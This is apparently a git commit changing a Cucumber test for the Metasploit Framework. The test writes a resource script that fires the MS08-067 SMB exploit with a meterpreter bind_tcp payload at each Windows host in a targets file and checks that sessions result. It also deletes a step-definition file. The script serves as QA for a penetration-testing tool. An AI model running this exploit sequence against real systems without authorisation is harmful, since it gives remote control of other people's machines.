updating ms08067

bug/bundler_fix
darkbushido 2016-02-04 13:37:36 -06:00
parent d8a7421a0a
commit 93979b7460
2 changed files with 5 additions and 15 deletions

View File

@ -8,19 +8,19 @@ Feature: MS08-067 netapi
Scenario: The MS08-067 should get a session with bind_tcp
Given I ready the windows targets
And a file named "ms08-067.rc" with:
Given a file named "ms08-067-bind.rc" with:
"""
<ruby>
hosts = YAML.load File.open Rails.root.join('features', 'support', 'targets.yml')
self.run_single('use exploit/windows/smb/ms08_067_netapi')
self.run_single('set payload windows/meterpreter/bind_tcp')
hosts['windows'].each do |host|
self.run_single("set RHOST #{host['ip']}")
self.run_single("set RHOST #{host['ipAddress']}")
self.run_single('run')
sleep 1
end
</ruby>
"""
When I run `msfconsole --environment test -q -r ms08-067.rc -x exit`
Then the output should contain "[*] Exploit completed, 1 session was created."
When I run `msfconsole --environment test -q -r ms08-067-bind.rc -x exit`
Then the 'Mdm::Host' table contains the targets from 'features/support/targets.yml'

View File

@ -1,10 +0,0 @@
When /^targets are loaded$/ do
config_file = File.expand_path('features/support/targets.yml')
fail "Target config file #{config_file} does not exist" unless File.exists?(config_file)
@target_config = YAML.load_file(config_file)
end
When /^(RHOSTS?) (?:are|is) (\S+)$/ do |type, target_type|
fail "No target type #{target_type}" unless @target_config.key?(target_type)
step "I type \"set #{type} #{@target_config[target_type]}\""
end